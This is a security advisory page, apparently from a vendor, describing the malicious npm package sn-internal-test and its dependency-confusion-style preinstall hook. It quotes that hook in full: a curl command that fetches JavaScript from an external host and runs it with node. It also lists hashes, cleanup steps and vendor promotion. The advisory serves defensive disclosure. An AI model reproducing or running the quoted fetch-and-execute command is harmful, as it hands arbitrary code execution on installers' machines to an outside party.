Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

sn-internal-testnpm

sn-internal-test is a confirmed malicious npm package (MAL-2026-5645) that executes malicious code on install (malicious versions 1.9.9, 2.1.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in sn-internal-test (npm)

MAL-2026-5645
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall sn-internal-test

What this malware does

package.json declares a preinstall lifecycle script that runs curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js. On any npm install of this package, the installer's machine fetches an unauthenticated, unpinned, mutable JavaScript file from an external author-controlled host and immediately executes it under Node.js with the installer's user privileges, overwriting the package's own index.js. The package describes itself as 'This is our internal app for testing' but is published to the public npm registry with no library functionality — the entire install-time effect is the remote fetch-and-execute. Whatever bytes are served at https://poc.amanrawat.com/hehe.js at install time become arbitrary code running on the installer's machine. The shape is consistent with a dependency-confusion proof-of-concept or active dropper: an internal-sounding name on public npm whose sole behavior is to pull and run remote code.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

2 flagged
1.9.92.1.1

Indicators of compromise (SHA-256)

215bae963612bf6e45ac8a32644e51b297c72d021048aa58a58fb0a5d0cb396d
7a0d57a0150e9a2783ecf0f9e42dc5e5e75c0e51fc17379ce57f99f9030fc64e
98382d7051ce015fd4cb0d4970d27ca4e798b333fc5a684ffbfe7af2a3010246
9ddef31ce3b7bf8d7d393b847307865e78e02846c3ee11c79900cd6e97a44ac4
911b6003b52604acc4b2710df9f978bb93124ca9ffd558f41c6150ce5bb4dd4b

Detection & response playbook

Malicious package
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for sn-internal-test (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging sn-internal-test across your stack and pipelines.

  2. If you installed it — respond

    Remove sn-internal-test from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

  3. Did it already run?

    If sn-internal-test was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks sn-internal-test before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. sn-internal-test on npm has been identified as a malicious package (versions 1.9.9, 2.1.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005714IN-MAL-2026-005713IN-MAL-2026-005715IN-MAL-2026-005712GHSA-v675-j7jw-p6rm

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks sn-internal-test-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore

sn-internal-test (npm) malicious package — MAL-2026-5645 | O3 Security